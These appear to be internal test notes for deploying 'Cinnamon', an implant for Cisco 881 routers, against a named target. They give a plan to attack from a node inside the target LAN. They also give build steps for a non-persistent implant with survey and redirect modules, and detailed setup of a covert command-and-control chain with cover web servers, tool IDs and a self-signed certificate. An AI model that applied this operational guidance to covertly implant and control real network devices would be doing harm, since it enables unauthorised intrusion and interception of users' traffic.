Cinnamon Cisco881 Testing

Cinnamon 881 Testing

The Bakery delivered Cinnamon for the Cisco881 on June 8.  Testing Cinnamon for use on an 881 for JQJSECONDCUT.  Operator has provided Target device configuration as well as some show commands from the Target.  This device is getting DHCPDynamic Host Configuration Protocol from an Internet provider, and is performing NATNetwork Address Translation and DHCPDynamic Host Configuration Protocol server role for inside hosts.  This device is also configured for DMVPN, presumably for VOIPVoice over Internet Protocol (Internet telephony) traffic.  CONOP will be to use at least two flux nodes, one outside the target network, and then exit and attack from a flux node on the inside LAN.

Testing Summary

• Bacon RPM cannot be installed on ICON - Workaround - compiled bacon on the BuildVM and copied the bacon executable and bacon.cfg files to /opt/bacon on ICON.
• IAC 2.4 does not work with DUTDevice Under Test configuration - transport input ssh.  IAC 2.4 requires a telnet connection.  Workaround - use IACInternational Access Code 4.1.
• Spicerack error on CentOS 5.6 Blot LPListening Post VMVirtual Machine - /lib/libcrypto.so.0.9.8: no version information available (required by ./spice_rack)
• Cinnamon implant has swindle.crt file size limitation

Progress/Notes

Cinnamon Setup Steps:

• Build implant on BuildVM
  • Edit /impant/cinnamon.cfg
    • Edit LP_DOMAIN_NAME to match the dns entry for the Blot Proxy server - www.suptest.com in our test case
    • Edit Tool ID that will be used by beastbox/swindle to identify Cinnamon traffic - 0x9219D10C for our test case (this is arbitrary)
    • Edit PROBE_DEST entries so that they all say something that will resolve to web server - www.google.com in our test case
  • Create cmn-880-norb.bin file for No Reboot, non-persisten implant
    • make clean 880-norb - outputs a folder called 880-norb
  • Create modules needed for testing - from /implant/modules directory
    • make clean survey-powerpc
    • make clean redir-powerpc
• Setup Blot 4.3 on CentOS 5.6 VMs
  • Beastbox and Swindle on Blot Proxy
    • Copy Blot 4.3 on to Blot Proxy VM
    • Install Beastbox and Swindle from rpms
    • Edit /etc/blot/beastbox.cfg
      • Edit external-ip to be the IP of the Blot Proxy server - 172.20.13.10 in our test case
      • Edit th name to spicerackH
      • Edit ip to Blot Spicerack server - 172.20.13.11 in our test case
      • Remove other th name entries
      • Edit server name Apache ip to the Cover Web server for 443 - 172.20.13.20 in our test case
      • Edit the server name Apache_2 ip to the Cover Web server for 80 - 172.20.13.20 in our test case 
      • Edit the server name BINDDNSDomain Name System server software ip to our DNSDomain Name System server for the test - X.X.X.X (LVLT-GOGL-8-8-8[US]) in our test case
      • Under itd swindle, edit tid num to Tool ID that has been baked into impant - 0x9219D10C in our test case
      • Under itd swindle, edit th to spicerackH
      • Remove other itd entries
    • Generate a certificate to match the DNSDomain Name System name for Blot Proxy and save to file in /etc/blot/itds/swindle/swindle.crt
      • openssl genrsa -out new_key.pem 1024
      • openssl req -new -key new_key.pem -out new_req.csr
      • openssl x509 -req -days 365 -in new_req.csr -signkey new_key.pem -out new_cert.crt
      • Note that CMNCaiman (Codename)? does not work with a larger key size - modulus 2048 does not work

      • File format for swindle.crt should be the output of 'openssl x509 -in new_cert.crt -noout -text' followed by new_cert.crt:
